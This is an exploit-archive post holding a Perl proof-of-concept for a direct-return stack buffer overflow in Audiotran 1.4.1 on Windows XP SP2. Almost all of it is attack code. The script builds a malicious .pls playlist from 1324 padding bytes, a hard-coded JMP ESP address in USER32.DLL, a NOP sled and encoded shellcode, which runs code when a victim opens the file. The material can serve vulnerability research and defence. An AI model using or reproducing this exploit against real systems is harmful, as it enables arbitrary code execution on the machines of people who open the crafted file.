Audiotran 1.4.1 – Direct RET Buffer Overflow
# Exploit Title: Audiotran v1.4.1 direct RET BOF # Date: 2010-1-16 # Author: Jacky # Software Link: http://www.e-soft.co.uk/Audiotran.htm # Version: 1.4.1 # Tested on: Windows XP SP2 # CVE : [if exists] # Code : #Audiotran v1.4.1 Direct RET local BOF Vulnerability. #Exploit Discovered by Sébastien Duquette (Greetz to him :P ) #Written and coded by Jacky #All Greetz to Corelan team ! #I saw this exploit written in python with SEH method ! #When i tested it i saw that it could be exploited by a Direct RET Address ! my $file="Crash.pls"; my $junk="A"x1324; my $eip=pack('V',0x77D8AED0); #JMP ESP from USER32.DLL! my $presc="SEXY"; my $sc="\x90"x50; $sc=$sc."\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49". "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36". "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34". "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41". "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54". "\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x44\x4e\x43\x4b\x58\x4e\x57". "\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x38\x4f\x44\x4a\x31\x4b\x38". "\x4f\x55\x42\x32\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x43\x4b\x58". "\x41\x50\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x38\x42\x4c". "\x46\x47\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e". "\x46\x4f\x4b\x43\x46\x55\x46\x52\x46\x50\x45\x47\x45\x4e\x4b\x58". "\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x36\x4b\x58\x4e\x30\x4b\x34". "\x4b\x48\x4f\x35\x4e\x51\x41\x30\x4b\x4e\x4b\x38\x4e\x31\x4b\x48". "\x41\x30\x4b\x4e\x49\x38\x4e\x35\x46\x32\x46\x50\x43\x4c\x41\x33". "\x42\x4c\x46\x36\x4b\x48\x42\x54\x42\x33\x45\x38\x42\x4c\x4a\x57". "\x4e\x50\x4b\x48\x42\x54\x4e\x30\x4b\x38\x42\x57\x4e\x41\x4d\x4a". "\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x50\x4b\x58\x42\x48\x42\x4b". "\x42\x50\x42\x30\x42\x30\x4b\x38\x4a\x36\x4e\x53\x4f\x35\x41\x43". "\x48\x4f\x42\x46\x48\x55\x49\x48\x4a\x4f\x43\x58\x42\x4c\x4b\x57". "\x42\x35\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x46\x4a\x49". "\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x46\x41\x46". "\x4e\x46\x43\x36\x42\x30\x5a"; open(INI,">$file"); print "[+]Creating Malicious Playlist File!\n"; print INI $junk.$eip.$presc.$sc; print "[+]File Created!\n"; print "[+]Real Author of the vulnerability is Sebastien Duquette!\n" print "[+]All Rights are reserved to him !\n"; print "[+]Coded by Jacky!\n"; close(INI); |